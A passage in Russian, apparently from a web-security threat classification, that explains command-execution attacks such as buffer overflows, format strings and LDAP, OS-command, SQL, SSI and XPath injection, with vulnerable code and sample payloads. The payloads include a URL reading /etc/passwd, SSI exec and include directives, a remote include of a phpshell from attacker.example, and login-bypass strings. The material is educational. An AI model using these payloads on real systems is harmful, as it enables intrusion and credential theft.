

4. Выполнение кода (Command Execution)

Эта секция описывает атаки, направленные на выполнение кода на Web-сервере. Все серверы используют данные, переданные пользователем при обработке запросов. Часто эти данные используются при составлении команд, применяемых для генерации динамического содержимого. Если при разработке не учитываются требования безопасности, злоумышленник получает возможность модифицировать исполняемые команды.

4.1. Переполнение буфера (Buffer Overflow)

Эксплуатация переполнения буфера позволяет злоумышленнику изменить путь исполнения программы путем перезаписи данных в памяти системы. Переполнение буфера является наиболее распространенной причиной ошибок в программах. Оно возникает, когда объем данных превышает размер выделенного под них буфера. Когда буфер переполняется, данные переписывают другие области памяти, что приводит к возникновению ошибки. Если злоумышленник имеет возможность управлять процессом переполнения, это может вызвать ряд серьезных проблем.

Переполнение буфера может вызывать отказы в обслуживании, приводя к повреждению памяти и вызывая ошибки в программах. Более серьезные ситуации позволяют изменить путь исполнения программы и выполнить в её контексте различные действия. Это может происходить в нескольких случаях.

Используя переполнение буфера, можно перезаписывать служебные области памяти, например, адрес возврата из функций в стеке. Также, при переполнении могут быть переписаны значения переменных в программе.

Переполнения буфера является наиболее распространенной проблемой в безопасности и нередко затрагивает Web-серверы. Однако атаки, эксплуатирующие эту уязвимость, используются против Web-приложений не очень часто. Причина этого кроется в том, что атакующему, как правило, необходимо проанализировать исходный код или образ программы. Поскольку атакующему приходится эксплуатировать нестандартную программу на удаленном сервере, ему приходится атаковать "вслепую", что снижает шансы на успех.

Переполнение буфера обычно возникает при создании программ на языках C и C++. Если часть сайта создана с использованием этих языков, сайт может быть уязвим для переполнения буфера.

Ссылки:

"Inside the Buffer Overflow Attack: Mechanism, Method and Prevention", By Mark E. Donaldson – GSEC

http://www.sans.org/rr/code/inside_buffer.php

"w00w00 on Heap Overflows", By Matt Conover - w00w00 Security Team

<http://www.w00w00.org/files/articles/heaptut.txt>

"Smashing The Stack For Fun And Profit", By Aleph One - Phrack 49

<http://www.insecure.org/stf/smashstack.txt>

4.2. Атака на функции форматирования строк (Format String Attack)

При использовании этих атак путь исполнения программы модифицируется методом перезаписи областей памяти с помощью функций форматирования символьных переменных. Уязвимость возникает, когда пользовательские данные применяются в качестве аргументов функций форматирования строк, таких как fprintf, printf, sprintf, setproctitle, syslog и т.д. Если

атакующий передает приложению строку, содержащую символы форматирования ("%f", "%p", "%n" и т.д.), то у него появляется возможность:

- выполнить произвольный код на сервере;
- считывать значения из стека;
- вызывать ошибки в программе/отказ в обслуживании.

Пример:

Предположим, Web-приложение хранит параметр emailAddress для каждого пользователя. Это значение используется в качестве аргумента функции printf:

```
printf(emailAddress);
```

Если значение переменной emailAddress содержит символы форматирования, функция printf будет обрабатывать их согласно заложенной в неё логики. Поскольку дополнительных значений этой функции не передано, будут использованы значения стека, хранящие другие данные.

Возможны следующие методы эксплуатации атак на функции форматирования строк:

- Чтение данных из стека:

Если вывод функции printf передается атакующему, он получает возможность чтения данных из стека, используя символ форматирования "%x".

- Чтение строк из памяти процесса:

Если вывод функции printf передается атакующему, он может получать строки из памяти процесса, передавая в параметрах символ "%s".

- Запись целочисленных значений в память процесса:

Используя символ форматирования "%n", злоумышленник может сохранять целочисленные значения в памяти процесса. Таким образом можно перезаписать важные значения, например флаги управления доступом или адрес возврата.

Ссылки:

"(Maybe) the first publicly known Format Strings exploit"

<http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html>

"Analysis of format string bugs", By Andreas Thuemmel

<http://downloads.securityfocus.com/library/format-bug-analysis.pdf>

"Format string input validation error in wu-ftp site_exec() function"

<http://www.kb.cert.org/vuls/id/29823>

Русскоязычные ссылки:

«ОШИБКИ ПЕРЕПОЛНЕНИЯ БУФЕРА ИЗВНЕ И ИЗНУТРИ КАК ОБОБЩЕННЫЙ ОПЫТ»,
Крис Касперски

http://www.samag.ru/art/03.2004/03.2004_07.pdf

«Эксплуатирование SEH в среде Win32», (c) houseofdabus

<http://www.securitylab.ru/contest/212085.php>

4.3. Внедрение операторов LDAP (LDAP Injection).

Атаки этого типа направлены на Web-серверы, создающие запросы к службе LDAP на основе данных, вводимых пользователем. Упрощенный протокол доступа к службе каталога (Lightweight Directory Access Protocol, LDAP) - открытый протокол для создания запросов и управления службами каталога совместимыми со стандартом X.500. Протокол LDAP работает поверх транспортных протоколов Internet (TCP/UDP). Web-приложение может использовать данные, предоставленные пользователем для создания запросов по протоколу LDAP при

генерации динамических Web-страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать LDAP-запрос.

Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, Web-сервер и т.д). Если данный компонент имеет права на чтение или модификацию данных в структуре каталога, злоумышленник получает те же возможности.

Техника эксплуатации данной уязвимости мало отличается от внедрения операторов SQL, описанной далее.

Примеры:

Уязвимый код с комментариями:

```
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim userName
line 5: Dim filter
line 6: Dim ldapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName = Request.QueryString("user")
line 11:
line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request. Please specify a valid user name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry
line 19:
line 20:
line 21: 'Creating the LDAP object and setting the base dn
line 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
line 23: ldapObj.ServerName = LDAP_SERVER
line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
line 25:
line 26: 'Setting the search filter
line 27: ldapObj.SearchFilter = filter
line 28:
line 29: ldapObj.Search
line 30:
line 31: 'Showing the user information
line 32: While ldapObj.NextResult = 1
line 33: Response.Write("<p>")
line 34:
line 35: Response.Write("<b><u>User information for: " + ldapObj.AttrValue(0) + "</u></b><br>")
line 36: For i = 0 To ldapObj.AttrCount - 1
line 37: Response.Write("<b>" + ldapObj.AttrType(i) + "</b>: " + ldapObj.AttrValue(i) + "<br>")
line 38: Next
line 39: Response.Write("</p>")
line 40: Wend
```

line 41: %>
line 42: </body>
line 43: </html>

Обратите внимание, что имя пользователя, полученное от клиента, проверяется на наличие в этой строке пустого значения (строка 10-12). Если в переменной содержится какое-то значение, оно используется для инициализации переменной filter (строка 18). Полученное значение используется для построения запроса к службе LDAP (строка 27), который выполняется в строке 29.

В приведенном примере атакующий имеет полный контроль над запросом и получает его результаты от сервера (строки 32-40).

Пример атаки:

http://example/ldapsearch.asp?user=*

В этом случае серверу передается символ * в качестве параметра, что приводит к формированию запроса с фильтром uid=*. Выполнение запроса приводит к отображением всех объектов, имеющих атрибут uid.

Ссылки:

"LDAP Injection: Are Your Web Applications Vulnerable?", By Sacha Faust - SPI Dynamics

<http://www.spidynamics.com/whitepapers/LDAPinjection.pdf>

"A String Representation of LDAP Search Filters"

<http://www.ietf.org/rfc/rfc1960.txt>

"Understanding LDAP"

<http://www.redbooks.ibm.com/redbooks/SG244986.html>

"LDAP Resources"

<http://ldapman.org/>

4.4. Выполнение команд ОС (OS Commanding).

Атаки этого класса направлены на выполнение команд операционной системы на Web-сервере путем манипуляции входными данными. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность выполнить команды ОС. Они будут выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, Web-сервер и т.д).

Пример:

Язык Perl позволяет перенаправлять вывод процесса оператору open используя символ '|' в конце имени файла:

```
# Выполнить "/bin/ls" и передать
```

```
#результат оператору open
```

```
open(FILE, "/bin/ls|")
```

Web-приложения часто используют параметры, которые указывают на то, какой файл отображать или использовать в качестве шаблона. Если этот параметр не проверяется достаточно тщательно, атакующий может подставить команды ОС после символа "|".

Предположим, приложение оперирует URL следующего вида:

<http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt>.

Изменяя значение параметра template, злоумышленник дописывает необходимую команду (/bin/ls) к используемой приложением:

<http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls>

Большинство языков сценариев позволяет запускать команды ОС во время выполнения, используя варианты функции `exec`. Если данные, полученные от пользователя, передаются этой функции без проверки, злоумышленник может выполнить команды ОС удаленно. Следующий пример иллюстрирует уязвимый PHP-сценарий.

```
exec("ls -la $dir",$lines,$rc);
```

Используя символ ";" (Unix) или "&" (Windows) в параметре `dir` можно выполнить команду операционной системы:

<http://example/directory.php?dir=%3Bcat%20/etc/passwd>

В результате подобного запроса злоумышленник получает содержимое файла `/etc/passwd`.

Ссылки:

"Perl CGI Problems", By RFP - Phrack Magazine, Issue 55

<http://www.wiretrip.net/rfp/txt/phrack55.txt>

(Секция "That pesky pipe")

"Marcus Xenakis directory.php Shell Command Execution Vulnerability"

<http://www.securityfocus.com/bid/4278>

"NCSA Secure Programming Guidelines"

<http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#cgi>

4.5. Внедрение операторов SQL (SQL Injection)

Эти атаки направлены на Web-серверы, создающие SQL запросы к серверам СУБД на основе данных, вводимых пользователем.

Язык запросов Structured Query Language (SQL) представляет собой специализированный язык программирования, позволяющий создавать запросы к серверам СУБД. Большинство серверов поддерживают этот язык в вариантах, стандартизированных ISO и ANSI. В большинстве современных СУБД присутствуют расширения диалекта SQL, специфичные для данной реализации (T-SQL в Microsoft SQL Server, --PL SQL в Oracle и т.д.). Многие Web-приложения используют данные, переданные пользователем, для создания динамических Web-страниц.

Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать запрос к SQL-серверу, отправляемый приложением. Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, Web-сервер и т.д.). В результате злоумышленник может получить полный контроль на сервером СУБД и даже его операционной системой. С точки зрения эксплуатации SQL Injection очень походит на LDAP Injection.

Пример:

Предположим, аутентификация в Web-приложение осуществляется с помощью Web-формы, обрабатываемой следующим кодом:

```
SQLQuery = "SELECT Username FROM Users WHERE  
Username = '" & strUsername & "' AND Password = '"  
& strPassword & "' strAuthCheck =  
GetQueryResult(SQLQuery)
```

В этом случае разработчики непосредственно использует переданные пользователями значения `strUsername` и `strPassword` для создания SQL-запроса. Предположим, злоумышленник передаст следующие значения параметров:

Login: ' OR '='
Password: ' OR '='

В результате серверу будет передан следующий SQL-запрос:

```
SELECT Username FROM Users WHERE Username = " OR  
"=" AND Password = " OR "="
```

Вместо сравнения имени пользователя и пароля с записями в таблице Users, данный запрос сравнивает пустую строку с пустой строкой. Естественно, результат подобного запроса всегда будет равен True, и злоумышленник войдет в систему от имени первого пользователя в таблице.

Обычно выделяют два метода эксплуатации внедрения операторов SQL: обычная атака, и атака вслепую (Blind SQL Injection). В первом случае злоумышленник подбирает параметры запроса, используя информацию об ошибках, генерируемую Web-приложением.

Пример:

Добавляя оператор union к запросу злоумышленник проверяет доступность базы данных:
<http://example/article.asp?ID=2+union+all+select+name+from+sysobjects>

Сервер генерирует сообщение, аналогичное следующему:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]All  
queries in an SQL statement containing a UNION  
operator must have an equal number of expressions  
in their target lists.
```

Из этого следует, что оператор union был передан серверу, и теперь злоумышленнику необходимо подобрать используемое в исходном выражении select количество параметров.

Внедрение SQL кода вслепую

В этом случае стандартные сообщения об ошибках модифицированы, и сервер возвращает понятную для пользователя информацию о неправильном вводе. Осуществление SQL Injection может быть осуществлено и в этой ситуации, однако обнаружение уязвимости затруднено. Наиболее распространенный метод проверки наличия проблемы – добавление выражений, возвращающих истинное и ложное значение.

Выполнение подобного запроса к серверу:

```
http://example/article.asp?ID=2+and+1=1
```

должно вернуть ту же страницу, что и запрос:

```
http://example/article.asp?ID=2
```

поскольку выражение 'and 1=1' всегда истинно.

Если в запрос добавляется выражение, возвращающее значение «ложь»:

```
http://example/article.asp?ID=2+and+1=0
```

пользователю будет возвращено сообщение об ошибках или страница не будет сгенерирована.

В случае если факт наличие уязвимости подтвержден, эксплуатация ничем не отличается от обычного варианта.

Ссылки:

"SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics

<http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf>

"Blind SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics

http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf

"Advanced SQL Injection in SQL Server Applications", Chris Anley – NGSSoftware

http://www.nextgenss.com/papers/advanced_sql_injection.pdf

"More advanced SQL Injection", Chris Anley – NGSSoftware
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

"Web Application Disassembly with ODBC Error Messages", David Litchfield - @stake
<http://www.nextgenss.com/papers/webappdis.doc>

"SQL Injection Walkthrough"
<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>

"Blind SQL Injection" – Imperva
http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html

"SQL Injection Signatures Evasion" – Imperva
http://www.imperva.com/application_defense_center/white_papers/sql_injection_signatures_evasion.html

"Introduction to SQL Injection Attacks for Oracle Developers" – Integrigy
<http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf>

Русскоязычные ссылки:

«Управление Microsoft SQL Server используя SQL инъекции», Cesar Cerrudo
<http://www.securitylab.ru/analytics/216396.php>

«Внедрение SQL кода с завязанными глазами», Офер Маор, Амичай Шалман
<http://www.securitylab.ru/analytics/216332.php>
<http://www.securitylab.ru/analytics/216333.php>

“SQL инъекция и ORACLE”
<http://www.securitylab.ru/analytics/216253.php>

4.6. Внедрение серверных расширений (SSI Injection)

Атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на Web-сервере. Уязвимости, приводящие к возможности осуществления данных атак, обычно заключаются в отсутствии проверки данных, предоставленных пользователем, перед сохранением их в интерпретируемом сервером файле.

Перед генерацией HTML страницы сервер может выполнять сценарии, например Server-site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем.

Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в неё запрещенное содержимое при следующем отображении.

Пример:

Следующее выражение будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в Unix системах.

```
<!--#exec cmd="/bin/ls /" -->
```

Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET.

```
<!--#INCLUDE VIRTUAL="/web.config"-->
```

Другие возможности для атаки возникают, когда Web-сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае

злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию, или указать в качестве имени сценария URL своего сервера.

Пример:

Предположим, Web-приложение работает со ссылками подобными следующей:

```
http://portal.example/index.php?template=news
```

```
$body = $_GET['page'] . ".php";
```

В ходе обработки этого запроса сценарий index.php подключает сценарий news.php и выполняет указанный в нем код.

Злоумышленник может указать в качестве URL

```
http://portal.example/index.php?template=http://attacker.example/phpshell
```

 и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами Web-сервера.

Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (<http://portal.example/index.php?template=users/uploads/phpshell>) или напрямую (<http://portal.example/users/uploads/phpshell.php>).

Ссылки:

"Server Side Includes (SSI)" - NCSA HTTPd

<http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html>

"Security Tips for Server Configuration" - Apache HTTPD

http://httpd.apache.org/docs/misc/security_tips.html#ssi

"Header Based Exploitation: Web Statistical Software Threats" - CGI Security.com

<http://www.cgisecurity.net/papers/header-based-exploitation.txt>

"A practical vulnerability analysis"

http://hexagon.itgo.com/Notadetapa/a_practical_vulnerability_analys.htm

"Santi worm"

http://www.f-secure.com/v-descs/santy_a.shtml

PhpInclude.Worm

<http://www.frsirt.com/exploits/20041225.PhpIncludeWorm.php>

4.7. Внедрение операторов XPath (XPath Injection)

Эти атаки направлены на Web-серверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.

Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов или выполнения запросов XQuery.

Синтаксис XPath близок к языку SQL запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента – имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":

```
string(/user[name/text()='jsmith' and password/text()='Demo1234']/account/text())
```

Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы.

Пример:

Предположим, что Web-приложение использует XPath для запросов к документу XML для получения номеров счета пользователей, чье имя и пароль было передано клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости.

Пример (Microsoft ASP.NET и C#):

```
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");

XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'"
and password/text()='"+TextBox2.Text+
"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
    // name+password pair is not found in the XML document
    -
    // login failed.
} else {
    // account found -> Login succeeded.
    // Proceed into the application.
}
```

В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например, ввести в качестве имени пользователя следующее выражение:

```
' or 1=1 or '='
```

В этом случае, запрос всегда будет возвращать счет первого пользователя в документе, поскольку будет выглядеть следующим образом:

```
string(//user[name/text()=' or 1=1 or '=' and password/text()='foobar']/account/text())
```

В результате злоумышленник получит доступ в систему от имени первого в документе XML пользователя не предоставляя имени пользователя и пароля.

Ссылки:

"XML Path Language (XPath) Version 1.0" - W3C Recommendation, 16 Nov 1999

<http://www.w3.org/TR/xpath>

"Encoding a Taxonomy of Web Attacks with Different-Length Vectors" - G. Alvarez and S. Petrovic

http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf

"Blind XPath Injection" - Amit Klein

http://www.sanctuminc.com/pdfc/WhitePaper_Blind_XPath_Injection_20040518.pdf